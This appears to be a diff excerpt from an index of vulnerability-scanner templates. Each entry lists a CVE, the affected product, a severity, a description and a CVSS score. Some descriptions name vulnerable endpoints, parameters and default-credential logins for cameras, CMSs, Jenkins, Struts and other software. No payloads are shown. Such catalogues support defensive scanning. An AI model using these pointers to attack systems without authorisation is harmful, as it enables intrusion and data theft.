{"ID":"CVE-2015-7823","Info":{"Name":"Kentico CMS 8.2 - Open Redirect","Severity":"medium","Description":"Kentico CMS 8.2 contains an open redirect vulnerability via GetDocLink.ashx with link variable. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2015/CVE-2015-7823.yaml"}
{"ID":"CVE-2015-8349","Info":{"Name":"SourceBans \u003c2.0 - Cross-Site Scripting","Severity":"medium","Description":"SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2015/CVE-2015-8349.yaml"}
@@ -398,7 +399,6 @@
{"ID":"CVE-2016-7834","Info":{"Name":"Sony IPELA Engine IP Camera - Hardcoded Account","Severity":"high","Description":"Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2016/CVE-2016-7834.yaml"}
{"ID":"CVE-2016-7981","Info":{"Name":"SPIP \u003c3.1.2 - Cross-Site Scripting","Severity":"medium","Description":"SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2016/CVE-2016-7981.yaml"}
{"ID":"CVE-2016-8527","Info":{"Name":"Aruba Airwave \u003c8.2.3.1 - Cross-Site Scripting","Severity":"medium","Description":"Aruba Airwave before version 8.2.3.1 is vulnerable to reflected cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2016/CVE-2016-8527.yaml"}
{"ID":"CVE-2016-9299","Info":{"Name":"Jenkins CLI - HTTP Java Deserialization","Severity":"critical","Description":"The remoting module in Jenkins before 2.32 and LTS before 2.19.3 allows remote attackers to execute arbitrary code via a crafted serialized Java object, which triggers an LDAP query to a third-party server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2016/CVE-2016-9299.yaml"}
{"ID":"CVE-2017-0929","Info":{"Name":"DotNetNuke (DNN) ImageHandler \u003c9.2.0 - Server-Side Request Forgery","Severity":"high","Description":"DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-0929.yaml"}
{"ID":"CVE-2017-1000028","Info":{"Name":"Oracle GlassFish Server Open Source Edition 4.1 - Local File Inclusion","Severity":"high","Description":"Oracle GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated local file inclusion vulnerabilities that can be exploited by issuing specially crafted HTTP GET requests.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-1000028.yaml"}
{"ID":"CVE-2017-1000029","Info":{"Name":"Oracle GlassFish Server Open Source Edition 3.0.1 - Local File Inclusion","Severity":"high","Description":"Oracle GlassFish Server Open Source Edition 3.0.1 (build 22) is vulnerable to unauthenticated local file inclusion vulnerabilities that allow remote attackers to request arbitrary files on the server.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-1000029.yaml"}
@@ -509,11 +509,13 @@
{"ID":"CVE-2017-6478","Info":{"Name":"MaNGOSWebV4 \u003c 4.0.8 - Cross-Site Scripting","Severity":"medium","Description":"paintballrefjosh/MaNGOSWebV4 \u003c 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-6478.yaml"}
{"ID":"CVE-2017-7269","Info":{"Name":"Windows Server 2003 \u0026 IIS 6.0 - Remote Code Execution","Severity":"critical","Description":"Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 contains a buffer overflow vulnerability in the ScStoragePathFromUrl function in the WebDAV service that could allow remote attackers to execute arbitrary code via a long header beginning with \"If \u003chttp://\" in a PROPFIND request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-7269.yaml"}
{"ID":"CVE-2017-7391","Info":{"Name":"Magmi 0.7.22 - Cross-Site Scripting","Severity":"medium","Description":"Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-7391.yaml"}
{"ID":"CVE-2017-7504","Info":{"Name":"JBossMQ HTTP Invocation Layer (HTTPServerILServlet) - Unauthenticated Java Deserialization","Severity":"critical","Description":"The JMS over HTTP Invocation Layer in JBossMQ, as implemented in HTTPServerILServlet.java in JBoss Application Server (AS) 4.x and earlier, does not properly restrict the classes that can be deserialized from the raw POST body. This allows remote attackers to execute arbitrary code or cause a denial of service (application crash or other impacts) via crafted serialized objects, due to insecure Java object deserialization.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-7504.yaml"}
{"ID":"CVE-2017-7615","Info":{"Name":"MantisBT \u003c=2.30 - Arbitrary Password Reset/Admin Access","Severity":"high","Description":"MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2017/CVE-2017-7615.yaml"}
{"ID":"CVE-2017-7855","Info":{"Name":"IceWarp WebMail 11.3.1.5 - Cross-Site Scripting","Severity":"medium","Description":"IceWarp WebMail 11.3.1.5 is vulnerable to cross-site scripting via the language parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-7855.yaml"}
{"ID":"CVE-2017-7921","Info":{"Name":"Hikvision - Authentication Bypass","Severity":"critical","Description":"Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2017/CVE-2017-7921.yaml"}
{"ID":"CVE-2017-7925","Info":{"Name":"Dahua Security - Configuration File Disclosure","Severity":"critical","Description":"A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-7925.yaml"}
{"ID":"CVE-2017-8046","Info":{"Name":"Spring Data REST \u003c 2.6.9 (Ingalls SR9) / 3.0.1 (Kay SR1) - PATCH Request Remote Code Execution","Severity":"critical","Description":"Spring Data REST \u003c 2.6.9 and 3.0.1, Spring Boot \u003c 1.5.9 and 2.0 M6 contain a remote code execution caused by processing malicious PATCH requests with crafted JSON data, letting attackers execute arbitrary Java code, exploit requires sending malicious PATCH requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-8046.yaml"}
{"ID":"CVE-2017-8225","Info":{"Name":"GoAhead Camera - Credential Disclosure","Severity":"critical","Description":"GoAhead camera credential disclosure vulnerability in system.ini. The vulnerability affects certain Wireless IP Camera (P2P) WIFICAM devices and allows unauthenticated remote attackers to access the system.ini configuration file through a crafted HTTP request. The exposed configuration may contain sensitive authentication credentials, including usernames and passwords.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-8225.yaml"}
{"ID":"CVE-2017-8229","Info":{"Name":"Amcrest IP Camera Web Management - Data Exposure","Severity":"critical","Description":"Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-8229.yaml"}
{"ID":"CVE-2017-8917","Info":{"Name":"Joomla! \u003c3.7.1 - SQL Injection","Severity":"critical","Description":"Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-8917.yaml"}
{"ID":"CVE-2017-9140","Info":{"Name":"Reflected XSS - Telerik Reporting Module","Severity":"medium","Description":"Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-9140.yaml"}
@@ -549,7 +551,6 @@
{"ID":"CVE-2018-10736","Info":{"Name":"NagiosXI \u003c= 5.4.12 - SQL injection","Severity":"high","Description":"A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/info.php key1 parameter.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2018/CVE-2018-10736.yaml"}
{"ID":"CVE-2018-10737","Info":{"Name":"NagiosXI \u003c= 5.4.12 logbook.php SQL injection","Severity":"high","Description":"A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/logbook.php txtSearch parameter.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2018/CVE-2018-10737.yaml"}
{"ID":"CVE-2018-10738","Info":{"Name":"NagiosXI \u003c= 5.4.12 menuaccess.php - SQL injection","Severity":"high","Description":"A SQL injection issue was discovered in Nagios XI before 5.4.13 via the admin/menuaccess.php chbKey1 parameter.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2018/CVE-2018-10738.yaml"}
{"ID":"CVE-2018-10818","Info":{"Name":"LG NAS Devices - Remote Code Execution","Severity":"critical","Description":"LG NAS devices contain a pre-auth remote command injection via the \"password\" parameter.","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2018/CVE-2018-10818.yaml"}
{"ID":"CVE-2018-10822","Info":{"Name":"D-Link Routers - Local File Inclusion","Severity":"high","Description":"D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after \"GET /uir\" in an HTTP request to the web interface.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-10822.yaml"}
{"ID":"CVE-2018-10823","Info":{"Name":"D-Link Routers - Remote Command Injection","Severity":"high","Description":"D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2018/CVE-2018-10823.yaml"}
{"ID":"CVE-2018-10942","Info":{"Name":"Prestashop AttributeWizardPro Module - Arbitrary File Upload","Severity":"critical","Description":"In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-10942.yaml"}
@@ -612,7 +613,6 @@
{"ID":"CVE-2018-16283","Info":{"Name":"WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion","Severity":"critical","Description":"WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-16283.yaml"}
{"ID":"CVE-2018-16288","Info":{"Name":"LG SuperSign EZ CMS 2.5 - Local File Inclusion","Severity":"high","Description":"LG SuperSign CMS 2.5 allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs - aka local file inclusion.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2018/CVE-2018-16288.yaml"}
{"ID":"CVE-2018-16299","Info":{"Name":"WordPress Localize My Post 1.0 - Local File Inclusion","Severity":"high","Description":"WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-16299.yaml"}
{"ID":"CVE-2018-16341","Info":{"Name":"Nuxeo \u003c10.3 - Remote Code Execution","Severity":"high","Description":"Nuxeo prior to version 10.3 is susceptible to an unauthenticated remote code execution vulnerability via server-side template injection.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2018/CVE-2018-16341.yaml"}
{"ID":"CVE-2018-16363","Info":{"Name":"WordPress File Manager \u003c 3.0 - Cross-Site Scripting","Severity":"medium","Description":"WordPress File Manager plugin before 3.0 is vulnerable to authenticated reflected cross-site scripting (XSS) via the lang parameter in the admin dashboard. The parameter is directly echoed into a JavaScript context without proper sanitization.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2018/CVE-2018-16363.yaml"}
{"ID":"CVE-2018-16668","Info":{"Name":"CirCarLife \u003c4.3 - Improper Authentication","Severity":"medium","Description":"CirCarLife before 4.3 is susceptible to improper authentication. An internal installation path disclosure exists due to the lack of authentication for /html/repository.System. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2018/CVE-2018-16668.yaml"}
{"ID":"CVE-2018-16670","Info":{"Name":"CirCarLife \u003c4.3 - Improper Authentication","Severity":"medium","Description":"CirCarLife before 4.3 is susceptible to improper authentication. A PLC status disclosure exists due to lack of authentication for /html/devstat.html. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2018/CVE-2018-16670.yaml"}
@@ -732,6 +732,7 @@
{"ID":"CVE-2019-0230","Info":{"Name":"Apache Struts \u003c=2.5.20 - Remote Code Execution","Severity":"critical","Description":"Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-0230.yaml"}
{"ID":"CVE-2019-0232","Info":{"Name":"Apache Tomcat `CGIServlet` enableCmdLineArguments - Remote Code Execution","Severity":"high","Description":"When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https-//codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https-//web.archive.org/web/20161228144344/https-//blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/).\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2019/CVE-2019-0232.yaml"}
{"ID":"CVE-2019-1003000","Info":{"Name":"Jenkins Script Security Plugin \u003c=1.49 - Sandbox Bypass","Severity":"high","Description":"A sandbox bypass vulnerability exists in the Jenkins Script Security Plugin (versions 1.49 and earlier) within src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java. This flaw allows attackers with permission to submit sandboxed scripts to execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2019/CVE-2019-1003000.yaml"}
{"ID":"CVE-2019-1003030","Info":{"Name":"Jenkins Pipeline Groovy Plugin \u003c=2.63 - Insecure Deserialization","Severity":"critical","Description":"Jenkins Pipeline: Groovy Plugin (workflow-cps) version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with Overall/Read permission to execute arbitrary code on the Jenkins controller JVM.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2019/CVE-2019-1003030.yaml"}
{"ID":"CVE-2019-10068","Info":{"Name":"Kentico CMS Insecure Deserialization Remote Code Execution","Severity":"critical","Description":"Kentico CMS is susceptible to remote code execution via a .NET deserialization vulnerability.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-10068.yaml"}
{"ID":"CVE-2019-10092","Info":{"Name":"Apache HTTP Server \u003c=2.4.39 - HTML Injection/Partial Cross-Site Scripting","Severity":"medium","Description":"Apache HTTP Server versions 2.4.0 through 2.4.39 are vulnerable to a limited cross-site scripting issue affecting the mod_proxy error page. An attacker could cause the link on the error page to be malformed and instead point to a page of their choice. This would only be exploitable where a server was set up with proxying enabled but was misconfigured in such a way that the Proxy Error page was displayed.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-10092.yaml"}
{"ID":"CVE-2019-10098","Info":{"Name":"Apache HTTP server v2.4.0 to v2.4.39 - Open Redirect","Severity":"medium","Description":"In Apache HTTP server 2.4.0 to 2.4.39, Redirects configured with mod_rewrite that were intended to be self-referential might be fooled by encoded newlines and redirect instead to an unexpected URL within the request URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-10098.yaml"}
@@ -744,6 +745,7 @@
{"ID":"CVE-2019-10717","Info":{"Name":"BlogEngine.NET 3.3.7.0 - Local File Inclusion","Severity":"high","Description":"BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter\n","Classification":{"CVSSScore":"7.1"}},"file_path":"http/cves/2019/CVE-2019-10717.yaml"}
{"ID":"CVE-2019-10758","Info":{"Name":"mongo-express Remote Code Execution","Severity":"critical","Description":"mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2019/CVE-2019-10758.yaml"}
{"ID":"CVE-2019-11013","Info":{"Name":"Nimble Streamer \u003c=3.5.4-9 - Local File Inclusion","Severity":"medium","Description":"Nimble Streamer 3.0.2-2 through 3.5.4-9 is vulnerable to local file inclusion. An attacker can traverse the file system to access files or directories that are outside of the restricted directory on the remote server.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2019/CVE-2019-11013.yaml"}
{"ID":"CVE-2019-11043","Info":{"Name":"PHP-FPM Path Info Buffer Underflow - Remote Code Execution","Severity":"critical","Description":"In PHP-FPM before 7.1.33, 7.2.x before 7.2.24, and 7.3.x before 7.3.11, when deployed in certain Nginx configurations with the fastcgi_split_path_info directive, a crafted request with an empty PATH_INFO can trigger a buffer underflow in the php-fpm code. This may allow an unauthenticated remote attacker to execute arbitrary code through specially crafted URLs by manipulating the PATH_INFO, leading to potential remote code execution. This template checks for the presence of the vulnerable misconfiguration without performing exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-11043.yaml"}
{"ID":"CVE-2019-11248","Info":{"Name":"Debug Endpoint pprof - Exposure Detection","Severity":"high","Description":"The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2019/CVE-2019-11248.yaml"}
{"ID":"CVE-2019-11253","Info":{"Name":"Kubernetes API Server - YAML Parsing DoS (Billion Laughs)","Severity":"high","Description":"The Kubernetes API server is vulnerable to a denial of service attack via YAML/JSON parsing. An attacker can send a specially crafted YAML/JSON payload that causes exponential memory consumption (Billion Laughs attack), leading to API server crash.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-11253.yaml"}
{"ID":"CVE-2019-11370","Info":{"Name":"Carel pCOWeb \u003cB1.2.4 - Cross-Site Scripting","Severity":"medium","Description":"Carel pCOWeb prior to B1.2.4 is vulnerable to stored cross-site scripting, as demonstrated by the config/pw_snmp.html \"System contact\" field.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2019/CVE-2019-11370.yaml"}
@@ -785,6 +787,7 @@
{"ID":"CVE-2019-14696","Info":{"Name":"Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting","Severity":"medium","Description":"Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14696.yaml"}
{"ID":"CVE-2019-14750","Info":{"Name":"osTicket \u003c 1.12.1 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14750.yaml"}
{"ID":"CVE-2019-14789","Info":{"Name":"Custom 404 Pro \u003c 3.2.8 - Cross-Site Scripting","Severity":"medium","Description":"Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14789.yaml"}
{"ID":"CVE-2019-14793","Info":{"Name":"Meta Box \u003c= 4.16.2 - Arbitrary File Deletion","Severity":"high","Description":"The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion in the ajax_delete_file function. The function accepts any attachment_id from the POST request and directly calls wp_delete_attachment() or unlink() without validating that the attachment belongs to the specified Meta Box field, without path traversal protection on the unlink path, and without any ownership or authorization checks. This makes it possible for authenticated attackers to delete arbitrary files on the server including wp-config.php.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2019/CVE-2019-14793.yaml"}
{"ID":"CVE-2019-14950","Info":{"Name":"WP Live Chat Support \u003c= 8.0.27 — Stored Cross-Site Scripting","Severity":"medium","Description":"wp-live-chat-support plugin before 8.0.27 for WordPress contains a reflected cross-site scripting caused by insufficient sanitization in the GDPR page, letting attackers execute arbitrary scripts in the context of the victim's browser, exploit requires victim to visit a malicious page.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14950.yaml"}
{"ID":"CVE-2019-14974","Info":{"Name":"SugarCRM Enterprise 9.0.0 - Cross-Site Scripting","Severity":"medium","Description":"SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14974.yaml"}
{"ID":"CVE-2019-15043","Info":{"Name":"Grafana - Improper Access Control","Severity":"high","Description":"Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-15043.yaml"}
@@ -945,7 +948,9 @@
{"ID":"CVE-2020-10148","Info":{"Name":"SolarWinds Orion API - Auth Bypass","Severity":"critical","Description":"SolarWinds Orion API is vulnerable to an authentication bypass vulnerability that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-10148.yaml"}
{"ID":"CVE-2020-10189","Info":{"Name":"ManageEngine Desktop Central Java Deserialization","Severity":"critical","Description":"Zoho ManageEngine Desktop Central before 10.0.474 is vulnerable to a deserialization of untrusted data, which permits remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-10189.yaml"}
{"ID":"CVE-2020-10199","Info":{"Name":"Sonatype Nexus Repository Manager 3 - Remote Code Execution","Severity":"high","Description":"Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2020/CVE-2020-10199.yaml"}
{"ID":"CVE-2020-10204","Info":{"Name":"Sonatype Nexus Repository Manager 3 - Remote Code Execution","Severity":"high","Description":"Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user \"roles\" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2020/CVE-2020-10204.yaml"}
{"ID":"CVE-2020-10220","Info":{"Name":"rConfig 3.9 - SQL Injection","Severity":"critical","Description":"An issue was discovered in rConfig through 3.9.4. The web interface is prone to a SQL injection via the commands.inc.php searchColumn parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-10220.yaml"}
{"ID":"CVE-2020-10221","Info":{"Name":"rConfig \u003c= 3.9.4 - Authenticated OS Command Injection","Severity":"high","Description":"lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the injection; override the username / userpassword fields for environments with changed credentials.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2020/CVE-2020-10221.yaml"}
{"ID":"CVE-2020-10257","Info":{"Name":"ThemeREX Addons - Remote Code Execution","Severity":"critical","Description":"ThemeREX Addons plugin before 2020-03-09 for WordPress contains an access control vulnerability in the /trx_addons/v2/get/sc_layout REST API endpoint, allowing any users to execute PHP functions because includes/plugin.rest-api.php calls trx_addons_rest_get_sc_layout with an unsafe sc parameter, letting attackers execute arbitrary PHP functions, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-10257.yaml"}
{"ID":"CVE-2020-10532","Info":{"Name":"WatchGuard Fireware AD Helper Component - Credentials Disclosure","Severity":"critical","Description":"WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2020/CVE-2020-10532.yaml"}
{"ID":"CVE-2020-10546","Info":{"Name":"rConfig 3.9.4 - SQL Injection","Severity":"critical","Description":"rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-10546.yaml"}
@@ -1141,6 +1146,7 @@
{"ID":"CVE-2020-28871","Info":{"Name":"Monitorr 1.7.6m - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-28871.yaml"}
{"ID":"CVE-2020-28976","Info":{"Name":"WordPress Canto 1.3.0 - Blind Server-Side Request Forgery","Severity":"medium","Description":"WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-28976.yaml"}
{"ID":"CVE-2020-29047","Info":{"Name":"WP Hotel Booking \u003c 1.10.4 - PHP Object Injection","Severity":"critical","Description":"The wp-hotel-booking plugin through 1.10.2 for WordPress allows remote attackers to execute arbitrary code because of an unserialize operation on the thimpress_hotel_booking_1 cookie in load in includes/class-wphb-sessions.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29047.yaml"}
